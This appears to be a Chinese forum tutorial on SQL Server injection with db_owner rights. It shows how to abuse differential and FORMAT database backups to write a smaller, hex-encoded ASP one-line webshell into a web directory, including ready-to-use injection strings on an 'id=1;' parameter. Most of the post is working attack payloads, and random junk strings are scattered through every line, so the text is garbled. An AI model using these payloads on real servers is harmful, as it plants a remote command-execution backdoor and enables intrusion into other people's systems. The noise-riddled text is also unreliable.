DB_OWNER权限得到webshell的两点改进:
2 T2 [. @0 x9 R G! p
4 y0 ?& o8 ?, q5 X5 [减少备份文件大小,得到可执行的webshell成功率提高不少
8 r" G6 R: f' ^+ K1 y# N4 H一利用差异备份' y' q/ g) l. H8 n0 ^& X) y7 B
加一个参数WITH DIFFERENTIAL( M3 H. b2 I7 t5 h
8 V* J u! e1 [0 z6 C5 j
1
7 A8 R) M8 @. H7 P" x2
" d. u: u4 ~. B& X. P9 E, E3
7 [! `$ M, v% @ W6 |/ j( u! @1 c* S7 r4
7 h: u$ ^- f1 T; S, Y6 n9 A declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s5 |$ ]: Z7 A; a4 q' V
create table [dbo].[xiaolu] ([cmd] [image]);
8 }1 l" R; y1 v2 c; Uinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
* I+ M) S2 ?6 y7 `' xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
$ i# g1 {( Y3 w. U! ? {, J: O5 V8 {
二利用完全FORMAT# _* @9 F) r) T, P q/ ]4 Z
加一个参数WITH FROMAT
2 t3 ] i* L8 C B有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
$ b5 g" C G3 H+ x3 R4 l
& z r: |7 K& j5 X; c9 I1/ u7 S- i( i' r- s9 N$ o
2
Z8 w: a& a$ p' \3 M$ ~0 E5 S1 X7 s3& Y% c( G' p$ O- L" ^# K
4 N, M$ x) F. N$ j
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
a$ s" R R0 |4 m; C9 Pcreate table [dbo].[xiaolu] ([cmd] [image]);
' ]. ^* F% [2 x0 P- |( Ginsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 [5 z: l# k& M8 u6 F8 `declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 8 P2 @. R4 B" R6 B; G& e( f E- @
8 A$ x! F6 j1 r总的来说就是那么简单几句,下面以备份数据库model为例子) j2 Q: c+ J/ l) z8 i0 g0 | k& `+ g
1
1 `: P$ k- C4 ~8 N8 |) c5 k% E4 D$ _' _4 t: q8 {( z$ E, M
1
2 j! b- \) `* j) R% T. c" }3 V id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 3 ~, J! F# a6 W" C3 B o8 ]
5 M. Z5 ?/ K8 T4 `% n( n
27 W6 ^ W4 w8 e( G& B
* @! M' ^! u! t
1& G; T; b2 p- E$ ~6 B
id=1;backup database model to disk='你的路径‘ with differential,format;-- 1 C. G, w. F' s! n5 d+ s6 Z5 U `
|